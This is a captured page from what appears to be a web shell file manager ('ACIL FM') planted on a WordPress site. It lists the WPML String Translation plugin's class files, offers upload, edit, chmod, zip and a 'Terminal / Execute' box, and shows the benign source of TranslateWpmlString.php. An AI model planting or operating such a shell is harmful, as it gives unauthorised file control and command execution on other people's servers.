ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/wpml-string-translation/classes
/
home
mhhtmff
www
site
wp-content
plugins
wpml-string-translation
classes
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
actions
-
chmod
Open
Rename
Delete
admin-texts
-
chmod
Open
Rename
Delete
API
-
chmod
Open
Rename
Delete
basket
-
chmod
Open
Rename
Delete
batch-translation
-
chmod
Open
Rename
Delete
container
-
chmod
Open
Rename
Delete
db-mappers
-
chmod
Open
Rename
Delete
filters
-
chmod
Open
Rename
Delete
gettext-hooks
-
chmod
Open
Rename
Delete
menus
-
chmod
Open
Rename
Delete
MO
-
chmod
Open
Rename
Delete
package
-
chmod
Open
Rename
Delete
package-translation
-
chmod
Open
Rename
Delete
po-import
-
chmod
Open
Rename
Delete
privacy
-
chmod
Open
Rename
Delete
records
-
chmod
Open
Rename
Delete
shortcode
-
chmod
Open
Rename
Delete
slug-translation
-
chmod
Open
Rename
Delete
string-tracking
-
chmod
Open
Rename
Delete
string-translation
-
chmod
Open
Rename
Delete
string-translation-ui
-
chmod
Open
Rename
Delete
strings-cleanup
-
chmod
Open
Rename
Delete
strings-scanning
-
chmod
Open
Rename
Delete
support
-
chmod
Open
Rename
Delete
translation-files
-
chmod
Open
Rename
Delete
translation-memory
-
chmod
Open
Rename
Delete
translations-file-scan
-
chmod
Open
Rename
Delete
Troubleshooting
-
chmod
Open
Rename
Delete
upgrade
-
chmod
Open
Rename
Delete
utilities
-
chmod
Open
Rename
Delete
wpml-tm
-
chmod
Open
Rename
Delete
class-wpml-admin-notifier.php
270 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-language-of-domain.php
986 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-admin-string.php
752 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-initialize.php
1.15 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-reset.php
1.58 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-settings.php
1.27 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-string-factory.php
2.93 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-string-statuses.php
808 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-string.php
9.1 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-strings.php
10.34 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-user-fields.php
5.33 MB
chmod
View
DL
Edit
Rename
Delete
class-wpml-st-verify-dependencies.php
1.12 MB
chmod
View
DL
Edit
Rename
Delete
Shortcode.php
2.06 MB
chmod
View
DL
Edit
Rename
Delete
TranslateWpmlString.php
5.43 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/wpml-string-translation/classes/TranslateWpmlString.php
<?php namespace WPML\ST; use WPML\ST\Gettext\Settings as GettextSettings; use WPML\ST\MO\Hooks\LanguageSwitch; use WPML\ST\MO\File\Manager; use WPML\ST\StringsFilter\Provider; use WPML_Locale; class TranslateWpmlString { /** @var array $loadedDomains */ private static $loadedDomains = []; /** @var Provider $filterProvider */ private $filterProvider; /** @var LanguageSwitch $languageSwitch */ private $languageSwitch; /** @var WPML_Locale $locale */ private $locale; /** @var GettextSettings $gettextSettings */ private $gettextSettings; /** @var Manager $fileManager */ private $fileManager; /** @var bool $isAutoRegisterDisabled */ private $isAutoRegisterDisabled; /** @var bool $lock */ private $lock = false; public function __construct( Provider $filterProvider, LanguageSwitch $languageSwitch, WPML_Locale $locale, GettextSettings $gettextSettings, Manager $fileManager ) { $this->filterProvider = $filterProvider; $this->languageSwitch = $languageSwitch; $this->locale = $locale; $this->gettextSettings = $gettextSettings; $this->fileManager = $fileManager; } public function init() { $this->languageSwitch->initCurrentLocale(); $this->isAutoRegisterDisabled = ! $this->gettextSettings->isAutoRegistrationEnabled(); } /** * @param string|array $wpmlContext * @param string $name * @param bool|string $value * @param bool $allowEmptyValue * @param null|bool $hasTranslation * @param null|string $targetLang * * @return bool|string */ public function translate( $wpmlContext, $name, $value = false, $allowEmptyValue = false, &$hasTranslation = null, $targetLang = null ) { if ( $this->lock ) { return $value; } $this->lock = true; if ( wpml_st_is_requested_blog() ) { if ( $this->isAutoRegisterDisabled && self::canTranslateWithMO( $value, $name ) ) { $value = $this->translateByMOFile( $wpmlContext, $name, $value, $hasTranslation, $targetLang ); } else { $value = $this->translateByDBQuery( $wpmlContext, $name, $value, $hasTranslation, $targetLang ); } } $this->lock = false; return $value; } /** * @param string|array $wpmlContext * @param string $name * @param bool|string $value * @param null|bool $hasTranslation * @param null|string $targetLang * * @return string */ private function translateByMOFile( $wpmlContext, $name, $value, &$hasTranslation, $targetLang ) { list ( $domain, $gettextContext ) = wpml_st_extract_context_parameters( $wpmlContext ); $translateByName = function ( $locale ) use ( $name, $domain, $gettextContext ) { $this->loadTextDomain( $domain, $locale ); if ( $gettextContext ) { return _x( $name, $gettextContext, $domain ); } else { return __( $name, $domain ); } }; $new_value = $this->withMOLocale( $targetLang, $translateByName ); $hasTranslation = $new_value !== $name; if ( $hasTranslation ) { $value = $new_value; } return $value; } /** * @param string|array $wpmlContext * @param string $name * @param bool|string $value * @param null|bool $hasTranslation * @param null|string $targetLang * * @return string */ private function translateByDBQuery( $wpmlContext, $name, $value, &$hasTranslation, $targetLang ) { $filter = $this->filterProvider->getFilter( $targetLang, $name ); if ( $filter ) { $value = $filter->translate_by_name_and_context( $value, $name, $wpmlContext, $hasTranslation ); } return $value; } /** * @param string $domain * @param string $locale */ private function loadTextDomain( $domain, $locale ) { if ( ! isset( $GLOBALS['l10n'][ $domain ] ) && ! isset( $GLOBALS['l10n_unloaded'][ $domain ] ) && ! isset( self::$loadedDomains[ $locale ][ $domain ] ) ) { load_textdomain( $domain, $this->fileManager->getFilepath( $domain, $locale ) ); self::$loadedDomains[ $locale ][ $domain ] = true; } } /** * @param string $targetLang * @param callable $function * * @return string */ private function withMOLocale( $targetLang, $function ) { $initialLocale = $this->languageSwitch->getCurrentLocale(); if ( $targetLang ) { /** @var string $targetLocale */ $targetLocale = $this->locale->get_locale( $targetLang ); $this->languageSwitch->switchToLocale( $targetLocale ); $result = $function( $targetLocale ); $this->languageSwitch->switchToLocale( $initialLocale ); } else { $result = $function( $initialLocale ); } return $result; } /** * We will allow MO translation only when * the original is not empty. * * We also need to make sure we deal with a * WPML registered string (not gettext). * * If those conditions are not fulfilled, * we will translate from the database. * * @param string|bool $original * @param string $name * * @return bool */ public static function canTranslateWithMO( $original, $name ) { return $original && self::isWpmlRegisteredString( $original, $name ); } /** * This allows to differentiate WPML registered strings * from gettext strings that have the default hash for * the name. * * But it's still possible that WPML registered strings * have a hash for the name. * * @param string|bool $original * @param string $name * * @return bool */ private static function isWpmlRegisteredString( $original, $name ) { return $name && md5( (string) $original ) !== $name; } public static function resetCache() { self::$loadedDomains = []; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply